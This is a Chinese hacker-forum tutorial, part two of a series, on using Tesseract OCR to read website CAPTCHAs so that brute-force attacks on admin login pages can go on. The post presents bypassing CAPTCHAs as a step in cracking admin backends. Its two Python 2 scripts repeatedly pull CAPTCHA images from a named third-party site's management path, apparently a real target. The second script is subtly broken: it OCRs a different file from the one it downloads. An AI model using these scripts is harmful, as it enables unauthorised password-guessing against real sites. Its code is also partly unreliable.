搜索
查看: 952|回复: 0

识别验证码继续爆破后台(二)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-1-10 22:02:52 | 显示全部楼层 |阅读模式
前言

我们后台爆破的时候经常会遇到验证码,那我们常见的手法可以用以下方法突破:

1、查看验证码是否有逻辑漏洞,从而绕过验证码认证
2、识别验证码

实操

这次我们讲利用tesseract进行验证码识别。

(点击访问上一篇:利用公开api进行验证码识别

根据wiki可以编写下列demo:
  1. import requests
  2. import pytesseract
  3. from PIL import Image
  4. import os
  5. for i in range(1,20):
  6.     image = "http://dxqf.jx163.com/Management/Spring/Page/Application/ImageRandCode.jpg"
  7.     image_image = open('image.jpg','w')
  8.     image_content = requests.get(image).content
  9.     image_image.write(image_content)
  10.     image_image.close()
  11.     image3 = Image.open('image.jpg')
  12.     text = pytesseract.image_to_string(image3)
  13.     print text
复制代码
运行结果:
然后就可以把获取到的验证码带入到爆破的数据包中即可。

当然,我们利用os来执行命令,还可以识别中文,demo:

  1. import requests
  2. import pytesseract
  3. import os
  4. while True:
  5.     image = "http://dxqf.jx163.com/Management/Spring/Page/Application/ImageRandCode.jpg"
  6.     image_image = open('image.jpg','w')
  7.     image_content = requests.get(image).content
  8.     image_image.write(image_content)
  9.     image_image.close()
  10.     os.system('tesseract chinese.png chinese -l chi_sim')
  11.     result = open('chinese.txt','r')
  12.     print result.readline()
复制代码
(-l参数指定语言包)
(这里需要到现在下载中文语言包:https://github.com/tesseract-ocr/tessdata 放到tesseract目录里)
运行如图:

下篇预告:利用建模训练进行验证码识别。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表